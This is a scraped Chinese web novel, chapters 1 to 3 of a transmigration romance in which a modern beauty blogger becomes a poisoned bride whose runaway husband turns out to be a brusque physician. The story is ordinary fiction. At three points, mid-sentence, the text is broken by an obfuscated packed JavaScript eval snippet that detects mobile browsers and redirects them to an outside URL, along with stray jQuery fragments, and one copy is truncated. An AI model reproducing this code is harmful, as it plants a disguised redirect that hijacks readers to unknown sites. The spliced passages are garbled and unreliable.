《驴脾气夫君为我做牛马》 1. 第 1 章(修) 《驴脾气夫君为我做牛马》by尤清也 月光朦胧,光影斑驳,夜无声垂落。 家丁们身影交叠,来回忙得脚不沾地。好半晌,忙碌有序的脚步声才渐渐平息。 门廊下影影绰绰的人渐渐走远,带着新人喜气的烛火一盏一盏湮灭在浓稠的夜色中,热闹了一天的郝府在此刻才算是回归往日的宁静。 这时远处忽地传来一声短促的惊呼。 “不好了!姑爷他不见了!” 门口的红色碎屑被脚步带的飞散,府内檐下装饰的红绸,不安地随着夜间的凉风轻轻摆动。 原本熄了的灯又一盏盏重新亮起来了,细看通往新人院子的廊檐之下,一名丫鬟行色匆匆,朝那扇大开的院门小跑去。 丫鬟脚步微顿先是朝里看了一眼,见屋内烛火未灭,才敢提着步子,小心谨慎往里跑。 她慌张地跪地:“小姐!姑爷他不见了!” “……” 鹿芩刚从爆炸般的头疼中缓过神来,就听见丫鬟上气不接下气的这一句。 她睁开眼,满目被赤红色占满,头宛若千斤之重。 什么鬼,肯定又是室友趁她睡着搞的恶作剧。 鹿芩淡定地抬手想揉揉酸疼的后颈,谁知身体控制不住的向身侧倾倒。 她赶忙伸手撑着床榻,稳住自己的身形,但手下硌人的触感,险些让她手臂卸了力。 这又是什么鬼…… 鹿芩勉强坐稳了身体,慢慢摸索着硌手的东西。 这个圆滚滚的……那个软软的……还有个麻麻的……不是同一个东西。 等下,不对劲,宿舍的床哪有这么大。 忽而房门大开带来的风,让她的盖头微微浮动,思绪也清晰过来。 鹿芩心中倏地闪过一个猜测,于是猛地抬手将那浮动的红色头帘揪下,一回头。 果然,她坐着的床宽阔无比,顶的上宿舍里的三张小床拼在一起,一床干净的被子平铺在身后,面上用金色丝线绣着“喜”字。 再低头往手边一看,她刚刚摸到的硌手的东西们,是绸缎被面上铺着的桂圆,当然还有红枣花生莲子。 预感应验,鹿芩霎时间内心狂奔十万头草泥马。 什么!? 她居然穿越了?! 穿就穿吧,还穿到新婚之夜,被老公丢下? 她不就是通宵直了个播吗,没圈钱也没骗人,更没做什么伤天害理的事啊! “小姐!”鹿芩在心里骂了开了锅时,丫鬟飞奔而来,“您怎么把盖头掀开了!” 还未等鹿芩开口说话,丫鬟就匆匆将盖头盖回了她的头上。 鹿芩嫌碍事,一伸手想扯下来,但思索片刻后顿住,缓缓翘起兰花指,优雅地把盖头一掀。 新郎都跑个球的了,还让她在这盖着,干什么,玩盲人摸象吗? 不过丫鬟也没做错什么,人家都喊她小姐了,她好歹有个小姐样。 “小姐……”丫鬟以为她因为姑爷逃走而受了刺激,不知所措地吞下一口唾沫,“您别担心,老爷已经派人去找姑爷了。” 鹿芩听后试探性地瞥了丫鬟一眼,露出楚楚可怜的样子:“姑爷?我夫君?去哪儿了?” 爱去哪去哪,这种不着家的男人死在外面才好。 “原是该让喜婆送饺子来,圆洞房花烛夜,可寻遍了也找不到姑爷。”丫鬟低下头,越说声音越小,却难掩气愤,“姑爷说您生着病,兴许是累到了,就把人都赶走,结果小的一回来……” 鹿芩点了点头,艰难地挤出两滴眼泪,趁丫鬟不注意,偷偷拿起被褥上软乎乎的大红枣,擦了擦塞进嘴里。 找不找得到,其实也不重要。她巴不得这夫君别回来了,毕竟她还是一个单身独美的女大学生。 丫鬟低着头半晌,见小姐似乎没有怪罪的意思,又小心翼翼地抬起头。 鹿芩赶紧捂上嘴巴,借着假抽泣的动作,把枣嚼了咽进去。 “是芝兰疏忽了。”丫鬟见小姐这幅样子,愧疚不已,扑通一下跪在地上,“大少爷接亲时还非说不娶,这会儿关心起您,小的还以为他回心转意了,可谁知……是芝兰办事疏忽,辜负了老爷的嘱托……” “哎哎哎起来起来——”鹿芩被这突如其来的动作吓得差点噎死,连忙站起来扶她,“不怪你,说到底还是我自己没本事,拴不住夫君的心。” 芝兰垂头,顺从自家小姐的意思站起身,心中仍自责不已:“小姐,芝兰日后一定谨慎办事。” 鹿芩应付着点点头,假装咳嗽着吐出没来得及吐的枣核,顺带探着头朝门外看了看。 提着灯笼往外跑的家丁只增不减,一波连着一波,看来是连个人影子也没找到。 鹿芩起身四处走动了几步,想松泛松泛酸痛的腰肢,路过梳妆台时,瞥见镜中映出好生精致的一张脸,美的吓她一大跳。 头发被珠钗束起,雍容华贵,在火红的嫁衣的衬托下,肌肤胜雪。模样倒是顶好的,就是身子骨看上去有些柔弱,好似一阵风就能吹散架。 同为女人,她都被这脸蛋迷的死死的,也不知道这男主挑剔什么,娶了这么好的媳妇还跑。 鹿芩美滋滋摸了摸自己的脸蛋,觉得很新奇,儿时常披着床单装娘娘,这下子,真成了古代的主子。 不过,欣赏一番后,新奇过了,她又开始发愁。 真要在这个人生地不熟的地方待着? 怎么样才能回去? 她苦思冥想,忽而想起自己穿越来之前,困得直打瞌睡,而后撑不住眼皮,猛地一垂头,磕在了桌上。 难道……再撞一次,说不定就回去了? 反正身体不是她的,应该也不会太疼。 鹿芩打定了主意,开始扫视四处,被褥、桌椅等物件儿都是崭新的,上面的刺绣或雕刻的艺术她虽不太懂,却也看得出其中价值不菲。 精挑细选后,她选中了看起来最便宜的烛台,但没想到因为身子虚,走了几步便摇摇欲坠。 芝兰见状上前搀扶,说道:“小姐,要是累了,不如奴婢先伺候您梳洗休息吧。” 鹿芩:“不用等那个王八羔……不用等夫君回来?” 芝兰为难道:“小姐,都说郝家大少爷性子倔,依奴婢看,今儿他八成是回不来了……” “不!”鹿芩酝酿了半晌,开始沉下脸,倚着窗户,对月而泣,“我不信,夫君为何如此绝情!” “小姐……” “日子还长,夫君却不要我。”泪水顺着脸庞滑落,鹿芩昂头,抬起指尖,向上一揩泪,“我还活个什么劲!” 哀嚎一声后,她鼓起勇气,一头撞上一旁的烛台。 撞上的瞬间,无数记忆碎片像针线般刺入她的脑海,属于原主的记忆一股脑地涌出来了。 鹿家大小姐是鹿老爷最宠爱的女儿,亲娘去世后,她过度伤心,本就娇弱的身体雪上加霜,郎中都束手无策。 鹿老爷心疼女儿,不愿相信已经无药可救,执意要治,这让惦记着家产的赵姨娘心怀不满。 赵姨娘表面上将她视如己出,实际上衣食不周地苛待她,把银子都塞给自己儿女。 不止如此,她还趁机陷害。就在前几天,鹿芩睡醒时发现了正往药里下毒的丫鬟,大闹一场。赵姨娘为了掩饰,就收买了郎中说她将死,借口冲喜把她嫁给了郝家。 郝家老爷经商,家中富裕,其兄弟也都在户部做官,有权有势,又与鹿老爷有些交情,鹿老爷认为算是女儿最好的归宿,便答应下了。 鹿芩虽不愿,但在爹爹的劝说下也只能答应,只是没想到,赵姨娘为她安排的夫君是郝家最倔最纨绔的大少爷,还收买了送亲的人。 他们抬着轿子,走了最远最曲折的路。这么一折腾等入了洞房, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283112|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹿芩直接没了气息。 更加气愤的是,这新郎也没看她一眼死活,就跑了。 …… 鹿芩脑袋一痛,听见芝兰一声惊呼后,便眼前一黑倒了下去。 再醒来时,她迷迷糊糊的,恍惚听见有人在叫她。 “小姐?小姐?” 她不耐地将眼睛睁了一条缝,透过层层米黄色纱帘,隐隐看见一个盘发带素簪的丫鬟,正往袖口里塞着什么东西。 这……她这又是跑到哪儿了? 鹿芩额前直冒冷汗。 看起来,她好像没有穿越回去,反而穿到了同一个时代的不同地方? “大小姐,醒醒。”来不及细想,丫鬟已经朝床边走来,手中还端着一碗药,“该喝药了。” 这丫鬟瞅着眼生,不是芝兰。 鹿芩不明所以,但还是接过药碗,闻了一下,险些被这股味道熏得呕吐。 她瞬间嫌弃地皱起眉头。 这绝对是她此生喝过的最难闻的药,苦到……不太对劲。 鹿芩瞄了一眼还冒着热气儿的药,又瞄了一眼丫鬟。 丫鬟此刻畏畏缩缩的眼神出卖了一切。 鹿芩立刻想到原主被恶毒的姨娘陷害,让丫鬟在药里下了东西,于是一把放下药碗,用两指轻点太阳穴,揉了揉。 “什么味儿啊,弄得本小姐一阵儿恶心,喝不下去。” 说着,她将碗放在边上,故意一晃手臂。被长长的袖子一带,精致的玉碗倾斜下去,药液悉数洒了出来。 一声脆响后,碗落地碎成几片,楠木地板被药液染深一个色号,刺鼻的味道跑了满屋。 丫鬟吓了一跳,跪在地上一通请罪后,又跑出去拿了一碗回来。 她将碗双手举过头顶,颤颤道:“小姐,您要是不喝药,明儿商铺里挂着的肉就是奴婢!” 鹿芩坚决不喝,没想到丫鬟就要喊人来架住她的手脚灌药。 见家丁门悉数进屋,鹿芩目瞪口呆:不是,这丫鬟怎么倒反天罡,到底谁是小姐啊? 眼见众人就要凑上前,鹿芩被逼得没有退路,心一横,又一头撞到了墙上── 她惊魂未定地睁开了眼睛,屋内的景象又变回郝家。 不会吧,又回来了? 鹿芩一骨碌坐起来,忽然额角传开阵阵痛感,吃痛地哎哟了一声。 “小姐!”芝兰被她的动静惊醒,赶忙起身来看,见她额头沁血,又惊呼一声,“您别按着头,这下又出血了。奴婢再去请郎中。” 见芝兰就一阵风似的离开了,鹿芩很不甘心。 总不能就这么坐以待毙,在这个鸟不拉屎的地方,被夫君抛弃又被姨娘算计的,待一辈子吧? 想着,鹿芩又狠下心,往墙上一撞。 随后,面前被一群人围着,一片阴影笼罩她:“小姐,乖乖喝药……” 鹿芩吓得赶紧又撞。 一睁眼便看见芝兰匆匆跑进来,惊呼:“小姐,您额角的血怎么止不住!” 鹿芩再撞。 耳畔传来恶魔般的低语:“小姐,喝药……” 鹿芩还撞,她就不信了! 结果听见芝兰跪在哀嚎:“郎中,快救救我们小姐呀!” “……” “……” 无论怎么撞,场景都只在郝府和鹿府间反复横跳。 最后鹿芩精疲力尽,不再撞了,干巴巴看着朝自己走来的芝兰。 “姑爷已经整整三日未归了。”芝兰不知道往她头上抹着什么东西,冰冰凉凉的,“不过小姐放心,郝老爷说,要是抓到他,一定打瘸他的腿,带到小姐面前认罪。” 鹿芩晕乎着脑袋,疲惫地点点头,决定放弃挣扎:“罢了罢了,跟老爷说,我只要夫君回来就好,不必严惩。” “是。”芝兰叹了口气,看着自己苦命的小姐,愁着脸应下了。 2. 第 2 章 鹿芩开始老老实实在府中养伤,好在公婆还算明事理,派了郎中来诊治她的伤,她也因祸得福,被免了一阵子向公婆请安,可以不用早起。 鹿芩美滋滋地睡到自然醒,但此刻还并不知道,少爷新婚之夜逃跑的事,很快成为府中的头条大事。 “听说少爷三日未归,还醉了酒,把自己锁在医馆里,死活不肯出来。” “大少爷不愿答应这门婚事,就算是十头牛拉他,他也不会回来呀。就是可怜少夫人……” “可不是嘛,寻死几百次,年纪轻轻的就疯了,造孽呀……” 芝兰去拿药时,刮了满耳朵闲话风。她十分气愤,心中为小姐鸣不平,又怕小姐知道了会伤心,只能自己憋在心里。 “小姐。”芝兰回屋后,装作若无其事,把药端给她,心中却憋着一股气儿,“喝药了。” 鹿芩习以为常地从床上爬起来,慢悠悠喝完了药。放下碗时,又见芝兰端来个蓝色似胭脂盒的东西,开始小心地往她头上抹着。 冰冰凉凉的感觉,倒很舒服。鹿芩转头问:“这是何物?” “小姐……唉。”芝兰顿了下,叹了口气,“这是祛疤的膏药,奴婢特意去取的。您的伤口太深,将来若是留了疤,就不好了。” 鹿芩一想也是,古时都说女子容色最重要,她要是留个疤,定是会被人在后头笑话的。 被笑话她倒是也不在乎,不过万一留个疤被赵姨娘拿来做文章,那她可就得不偿失了。 鹿芩盯着芝兰手里的小盒子怔了一会儿,许是这地方没有手机也没有什么娱乐活动,她竟然看一个药膏都觉得好玩。 等芝兰给她上完药,她顺手把药盒子要了过来,揭开盖子,用手沾了一点果冻似的药膏,抹在手臂上。 她眼前一亮:“不错啊家人们,水润好推开,质地像冰淇淋一样润滑。” 芝兰听见小姐说着莫名其妙的话,还以为她被刺激的不清,得了癔症了:“小姐,你说什么呢?” 鹿芩赶紧停下来,想了想,抿了下唇,深深叹了口气。 “芝兰,我好生思念夫君。”她抽出绢帕,在眼下点了点虚无的泪,“夫君不在,日日在府里也无事可做,不如我们去集市上逛逛吧。” 芝兰犹豫片刻,道:“小姐,您还病着,先别出去了,万一到街上再有个什么闪失,我也是命数尽了……” 再说郝家娶亲的事全城皆知,鹿芩独守空房的事已经成了笑柄,她若是再听见那些话,怕是会气病。 鹿芩知道这一半是芝兰不愿,一半是郝家老爷的意思,于是不再固执,抬手捂住半边脸颊,悲哀道:“是啊,我现下这个样子,夫君见了,也只会嫌弃罢了……” 但她看着药膏,心里却有了主意。 她以前可是个美妆穿搭博主,坐拥几十万粉丝,要不是因为天天熬大夜熬没了小命,才不会穿到这个破地方来。 既然郝家不缺钱,又对不住她,她可得好好利用这机会,干一票大的。 她可不想就这样病恹恹地过着孤寡日子,束手束脚的。 …… 等到约摸一更天时,鹿芩便从床上爬起收拾行囊,准备趁丫鬟打瞌睡时溜出郝府,去街上探探现在的美妆和服装行情,顺便找个医馆看看自己是什么病。 她不清楚银两怎么折合成人民币,于是将自己房间翻了个底朝天,把肉眼可见的值钱东西都拿走了。 天降大任也!鹿芩给自己鼓了鼓气,庄重地带上帷帽,让薄绢垂下来遮住自己的脸。 为了路途顺利,她特意带上口脂,用来在路上做记号,还抄了根铁棍子防身用。 这下万事俱备,鹿芩信心满满,带着全部家当,摸黑来到院子里。 府门已经上了锁,夜里值守的下人们藏匿在灯火阑珊处,眼睛瞪得像铜铃,杜绝一切靠近府门的人影。 门严实合缝到一只苍蝇都飞不出去,鹿芩果断放弃从正门突破,转而找了处隐蔽些的矮墙,手脚麻利的堪堪翻过。 没成想,翻过这一道她就已筋疲力竭,借着月色看到另一处更高的院墙后,她深深倒吸了口气。 鹿芩鬼鬼祟祟的歇了片刻,准备缓缓在墙上攀爬而过,直到通过那处更高的院墙翻出了郝府,才敢彻底松一口气。 好在,郝府地处繁华地段,没走出多远,门口还点着灯火的铺子,成片映入眼帘。 明明没走几家店铺,鹿芩却累的直喘粗气,屡次就要倒地归西,于是她改了计划,决定先去医馆看看,再去探行情。 没想到,找医馆的路更曲折,弯弯绕绕,最后终于在拐角处找到一家开着门的“景时医馆”。 鹿芩拖着疲惫的身体往里走,医馆不仅地方偏,面积也小,除了一张柜台,两张桌椅,便是铺了一面墙高的中药柜子。鹿芩走进去,感觉自己和行囊就能占到半个屋子。 “请问……有……人……在吗?” 鹿芩费力地张望了一下,忽而发现柜台后面端坐着一位穿黑袍的男子。 男子冠着一头黑发,长腿随意支棱着,远远便让人闻到些酒气。见鹿芩进来,他懒散地抬了下凤眼,放下了手里捧着的书。 “您是这里的……” 鹿芩话都还没说完,男子便蹭地站起来了,冷笑道:“光天化日之下,你好大胆啊。” 话音刚落,鹿芩只觉眼前寒光一闪,利刃破空的声音在耳边炸开,一股不知何处来的凉意逼近颈侧,定睛一看,原是男子眼眸锐利,手执一柄短剑架在她颈侧。 或许下一刻,男子一个手抖,她就能上天见佛祖,下地见阎王了。鹿芩一颤,猛地一股寒意从脚下直直蹿上她的全身,手心冷汗涔涔,鬓角揉乱的碎发也被冷汗浸透,黏在脸颊上。 她笑容僵了僵:“那个,大夫,这是你们……什么看病的仪式吗?” “看病?”男子狐疑地打量她,半晌后将剑往柜台一插,瞥一眼她手中的铁棍,嗤笑道,“你要不说,小爷我还以为你要打家劫舍!” 大半夜不睡觉戴着帷帽四处跑,一身夜行衣,身后背着个鼓囊囊的大包袱,手上拎着根像是从铁匠铺抢来的铁棍,步履蹒跚虚浮,极具欺骗性。 鹿芩干笑两声,放下手里拎着的铁棍,将帷帽的薄绢掀开,让自己的脸出现在男子的视线之内,面带歉意道:“误会,都是误会。这位大哥,小女子是来看病的。” 男子听后似乎消了戒备,随意坐回去,顺手拿出个脉枕,眼神示意鹿芩把手放在脉枕上。 鹿芩心道这人性情古怪,难以琢磨,却也是乖乖伸出手搭在脉枕上,等候男子为她把脉看诊。 遵循男女有别,男子又拿出一块成色不错的帕子,盖在她的手腕上,修长的手伸出,只留两处指腹轻轻搭在她腕上。 渐渐,他眉头微皱起来,却一声不吭。 鹿芩悄然望着他,大气不敢喘一声,生怕打扰他。 不久之后,男子一掀手帕:“中毒太深,不日就要见阎王了。” 鹿芩听后倒吸一口凉气,阎王?不是不,怎么刚穿来就要死啊? 她心急地问:“这毒能不能解?” “能。”男子往椅子上一躺,“一千两。” 一千两?鹿芩目瞪口呆,这等小病小痛还用四位数?他踏马的抢钱? 她顿了顿,礼貌一笑:“大夫,小女子没那么多钱,您看……” “那没办法了,”男子耸肩,“等死吧。” 鹿芩被他气到了,抄起铁棍,一怒之下气得转身就走。 庸医!丧尽天良!这钱买棺材也不给你! …… 半个时辰后。外面天蒙蒙亮了,四处响起摊贩此起彼伏的吆喝声。 “不甜不要钱!” “三文三文!只要三文钱!” “小笼包只剩最后一屉嘞!” 人群熙熙攘攘,拖着病体的鹿芩被左挤右挤,好半天才挤出人群。 见鬼了,这么长的街道,竟没有第二家医馆。 因为绕了许多条路,她刚恢复的体力又被榨得稀干。繁复的衣裙十分不便,她蹒跚着找了个角落坐下歇息,顺变揪了一朵野花。 进去、不进去、进去、不进去…… 反反复复纠结过后,她又决定进去,毕竟治病要紧。 鹿芩站起身拍拍屁股上的土,忽然远远地见到了几个眼熟的家丁。 他们四处张望着,时聚时散,似是在寻人,其中一人还骑了马。 大抵是郝府派来寻她的? 也是,偷偷溜出来这么久,肯定是要找的,回去公婆怕是要怪罪。 眼看他们越来越近了,鹿芩准备掀开白纱露脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283113|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却听见这几人在商量着什么。 “昨夜暗卫传来消息,说小姐失踪了,赵夫人嘱咐过,务必趁这次机会把大小姐抓住,带到城外去。” “是。” 为首的家丁分配好路线,众人开始分头行动。鹿芩看着这一幕,笑容僵在了脸上。 居然是赵姨娘派来杀她的人,还特意装成郝家家丁? 太狠了这个赵姨娘……又是下毒,又是拐/卖人口,要是在现代,她非得报/警…… 鹿芩悄无声息地转过身,边缩回角落,边探头观察着四周的情况。 不久,往四个方向去的家丁们在中间碰头了,又开始商量新的路线分配。 “东南,东北,西南,西北。” “那东西和南北要不要去?” “去你个大头。” 鹿芩的心已经提到嗓子眼,见一家丁朝这边飞奔而来,果断起身离开。 谁知因为步子匆匆,她与一路人撞在了一起,身子一倒,帷帽掉在了地上。 一时间,街道的人驻足,纷纷往这边看。 “抱歉。无事吧?” 路人满含歉意,刚要伸手去扶一把,鹿芩就飞速捡起帷帽向着西边逃去。 果然,家丁们察觉到她,立刻冲向她这边,还高呼一句:“少夫人,小的们奉老爷之命接您回府!” “信你个鬼!”鹿芩把帷帽一戴拔腿就跑,“还敢假冒郝府的人,是回地府吧!” 她一口气甩开那些家丁们半条街远,左拐右拐又拐回了小巷子里。 再这样下去可不行,她的体力快耗尽了,得找个地方躲躲。 鹿芩慌张地扫视四周一遍,最终鼓起勇气,又跑进了“景时医馆”。 …… 一阵风以迅雷不及掩耳之势冲进屋。 正看书的男子抬头,发现竟是刚刚骂他庸医的女子,忽然又风一样地卷了回来。 真没见过这样的,舍不得花钱治病就算了,还要回来找事。 他放下书本:“喂,小……” “让我躲一下!”不等他说话,鹿芩就窜进柜台后面,蹲在两个抽屉柜的中间,严丝合缝地躲了起来。 “躲?”男子站起身,“莫非你是逃犯?” 鹿芩把斗笠塞进柜子底下:“我不是!” 男子看着这麻利的动作,不由得产生怀疑。这人非常古怪,又有怪病,又要逃命,莫不是什么通缉犯? 他厉声说:“你到底是何人,老实交代,否则小爷我——” 不等他“爷”完,鹿芩就十指齐下,从袖口翻出金条,举到他眼前。 “我不是坏人!”鹿芩又翻出一块令牌来,上面赫然刻着“郝”字,“这是我夫家的令牌!你帮我,我日后一定报答!” “……”男子望着她的面孔沉思了一阵,目光渐渐犀利起来。 见状,鹿芩双手合十,手指尖因为紧张而微微颤抖。 能不能活,可全看这位庸医的了。赵姨娘派来的家丁还骑着马,搞不好,是要把她扔到荒郊野外活埋呀! “你信我一次,过后我再细细解释。”似乎听见了马蹄声,鹿芩紧张不已,“救人一命胜造七级浮屠……” “这位仁兄。” 还没说完,门外的家丁们就挨家挨地找过来了,鹿芩赶忙屏住呼吸不出声,双眼疯狂朝男子抛求救信号。 男子瞥她一眼,迈腿走到门口。 “我们是郝府的人,我们家少夫人昨夜失踪了,请问您可见过?” “郝府是吧。没见过。”男子说完毫不客气地关了门,但没想到,半扇帘还没拉下,家丁们就围了门口。 “仁兄且慢,我们奉老爷之命来找少夫人,仁兄若不肯帮忙,我们回去不好交代。这样吧,一锭银子,仁兄让我们进去一躺。” 男子打量着来人,沉默了半晌后,嗤笑了一声,“关小爷什么事?” 他继续把门一推,表示一切免谈。 “仁兄啊,我们本不想难为你。”听到这般,家丁们也没了耐心,“郝家的权势,你不会不知道吧?给你这庸医八个胆子,你也惹不起!既然你敬酒不吃……那得罪了!” 话音刚落,一群人便土匪一样涌进来,把桌椅板凳挤的四处挪动,吱嘎乱响。 “兄弟们,把他店铺砸了!” 3. 第 3 章 本就不大的店铺陷入混乱,家丁们抄椅子的抄椅子,砸门的砸门,叮咣乱响,鹿芩趴在柜台底下,提心吊胆地顺着地缝去看。 五六双脚穿着一模一样的鞋子,一只脚都能顶上庸医两只。 鹿芩又默默缩回去,坏了,这么久了都没听见庸医吭声,该不会是家丁进门的时候把他敲晕了吧? “我亲眼见她跑进来的,给我搜,每个角落都不许放过!” 又是一阵巨响。 鹿芩十分忐忑,赵姨娘要对她下死手,这些家丁必定不是吃素的,庸医看着只是一个十七八岁的少年,怎么可能抵过五六个家丁? 再这样下去,不仅她会被发现,庸医也会被她连累,还不如先把这些人引开,另做他法。 想着,鹿芩一闭眼,一咬牙,从柜台下面钻出来:“住手,我跟你们回……” “咣”的一声打断了她的话,让她忍不住一个激灵,一抬头,竟发现眼前的场景和她所预想的完全不同。 两个家丁口吐白沫倒在地上,庸医正阴气沉沉地站在门前,双拳握得爆起青筋。 接着他慢慢抬起头,望着愣住的家丁们,眼里燃起旺盛的鬼火。 “敢砸小爷的店,也不看看小爷是谁,你们真是活腻了。” 这声音如同地壳猛烈翻滚,鹿芩愣在原地一秒的功夫,家丁们已经从四面八方跑过来,饿狼扑食一样冲向她。 鹿芩反应过来,发出尖锐的爆鸣:“喂喂,还愣着干嘛!快走啊——” 她急的一个大跳去抓男子的手臂,谁料男子忽然抬手往后一搡她,将她推倒安全地带,自己则又一个飞腿,将另一波扑过来的人扫倒。 “砰砰”几声。一个人被飞踢到柜台上,痛苦地捂住肚子,另一个人则被一拳怼到墙上,晕成斗鸡眼。 一时间,刚刚嚣张喊话的家丁们,都被叠罗汉似的丢到门口。他们纷纷捂着屁股或胸口,口吐血沫,痛苦地呻吟着。 “我去……”鹿芩看呆了,情不自禁地说出口。 “惹谁不好,非招惹小爷。”男子浑身似乎冒着黑色的烟气,比鬼还渗人,“小爷这几天本来就不爽。” “你!”仍有几个不服气的人爬起来,想和他鱼死网破,男子便顺手抄起桌椅,三下五除二地把他们打了个屁股开花。 家丁们横七竖八地倒在各处,颤抖着手指着他,嘴里念叨着说不完整的话,似是诅咒。 “敢冒充郝家家丁作恶,活腻歪了?”男子嗤笑一声,单手拔出插在柜台上的剑,他抬剑指着众人,步步前进,“还不快滚?” “别别过来……”家丁们杵着地面向后挪动,屁股的疼痛让他们皱着眉,于是又改成翻身爬行。 几人手脚并用,没一会儿便爬的无影无踪。 这庸医……难道是武状元出身? “喂。”鹿芩还没从震惊中回过神,就见男子撇下剑,慢条斯理地从狼藉里扯了把凳子坐下,“别看了。” “哈哈哈哈。”鹿芩抽抽嘴角,谄媚地笑道,“恩人好身手,今日救命恩情,小女子铭记于心,日后必定报答。” “报答就不必了,小爷素来行侠仗义。”男子重新抄起桌上的书来看着,“说吧,你到底是何人?” 鹿芩望着他气定神闲的样子,倒有点佩服这人了,要是她的店铺被砸成这样,她高低要告上衙门要个说法。 “恩人,您千万别误会,小女子真的不是坏人,小女子也是被逼无奈。”鹿芩说着说着,双手捂住脸颊,假装哽咽,“我娘死的早,爹的小妾假好心把我嫁了人,实则是想要我的命……我好不容易逃过一劫到了婆家,夫君却不愿和我成婚,还一夜不归,不知外面是不是有了相好的,可怜我白白落人笑柄……” 听到这,男子在书页上浏览的眼神顿了一下。 “刚刚那些家丁,八成是我爹的小妾派来的,恩人,若不是你心善,我今日就会被丢到荒山野岭喂狼了!” “……” 鹿芩越说越动情,演的泣不成声,没想到,她透过指缝一看,庸医十分淡然,面无表情的,一句话也不接。 怎么,她说的很假吗? 鹿芩狐疑,又一抹眼泪,诚恳地说:“恩人,我不是忘恩负义的,日后若有需要,你就来找我,我一定帮忙。” “哦,姑娘是诚心报恩的吗?”没想到,男子终于缓缓放下书本,两手搭在膝盖上,反问道,“也不报上姓名,到时有事相求,我如何找得到?” 鹿芩愣了下,忙说:“是我一时疏忽了。小女子姓鹿名芩,恩人有事可以上郝府找我。” 好半天后,风吹过树叶子发出沙沙声,男子勾勾唇角,露出意味不明的一笑。 “那便多谢鹿姑娘了。” …… 鹿芩总觉得哪里不对劲,但又说不出来,不过她没有多想,随即便告辞了。 她在集市上转了转,看了看胭脂水粉,还看了看衣铺当下流行款式,又从老板手里买了些花样,很快便把那男子抛之脑后。 回府后,她埋头钻研着花样,不知不觉中整理到天黑。 这个时代的衣裳大多都是量身而做,里衣外衣层层叠叠,没有“均码”一说,所以就有了做工慢的缺陷。 如果她用有弹性的布料,做出适合大多数人穿的“均码”,就可以节约时间,批量生产,满足更多需要。 不过,制衣的事姑且可以放一放,眼下先该解决的是租店铺的事。 她已经看好了一家准备转租的店铺,在集市的中心位置,客流量很大,但要一笔不菲的租金。 除了租金,前期起步也要投入不少,她不好直接开口朝郝家要钱,所以得想个办法攒攒资金。 不如……先进购些胭脂水粉,然后摆个地摊,凭借她的三寸不烂之舌卖一卖钱?…… 鹿芩琢磨时,芝兰进来伺候她洗漱,见她还在挑灯伏案,不免担忧她的身子:“小姐,歇歇吧,不早了,明日再看。” 鹿芩闻声抬起头,见外面夜色已浓,便放下笔伸了个懒腰:“也好吧。” 毕竟原主的病体实在是不太能熬。 她站起身,先在外头的梳妆镜上卸下头上的珠钗,在芝兰的伺候下洗漱,随后回了里屋。 正要更换寝衣时,她竟然瞥见榻上坐着一个人,在闭眼小憩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283114|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >再一看,鹿芩激灵了一下——这不是……白天那个庸医吗? “你你你你你……”她唇一抖,话都说不利索了,“你来干什么?” 男子被她吵醒,睁了眼,皱皱眉理直气壮道:“给你治病啊,况且你不是说,有需要就找你吗。” “你不能白天来吗?不能走正门吗?”他迷惑的行为让鹿芩哭笑不得,忍着火压低嗓音,“我是有夫君的人!你大晚上翻进我屋里,这不是叫人误会吗!” “还是你有分寸。”男子伸出一根修长的手指,点着下巴,似笑非笑,“不像你夫君,在外面有相好的。” “……出去!”鹿芩瞪他,“你不走我可喊人来了!” 男子不语,从榻上下来了。就在鹿芩以为他识相要走时,他一转身,躺到床上去了,还翘起腿,像故意戏弄她一样。 这要是被公婆发现了,她可真是百口莫辩。 鹿芩又气又无奈,索性退到门口,装作惊慌失措地喊:“来人啊!家里进贼了!” 这一嗓让外面的芝兰吓到了,慌忙冲出去喊抓贼,喊来不少家丁。 家丁们身手敏捷,纷纷抄着家伙过来准备捉贼。 听到一阵动静后,男子慢条斯理地从床上起身,揉了揉太阳穴,说道:“夫人,深更半夜的,你喊什么呀。” “你还……”等一下,夫,夫人? 鹿芩眨巴眨巴眼睛,准备揍他的手僵住了。 这,庸,医,是,她,夫,君?? “少夫人!”鹿芩还没反应过来时,家丁们一窝蜂似的赶了过来,“少夫人,哪里有贼人?有没有受伤?” 他们顺着鹿芩的眼神看过去:“贼人”郝景时正走到门口,抬眼看着各位。 “少……少爷?”家丁们不明所以,“您什么时候回来的,让老爷夫人好找!” 听到这声“少爷”,鹿芩如遭雷击,扭过去的脖子仿佛生了锈。 郝景时早已预料到这个场面,气定神闲地倚在门框上,双臂交叠在胸前:“夫人这是在跟我闹脾气呢。” “......” “都退下吧,别打扰我和夫人休息。”他慵懒地挥了挥手。 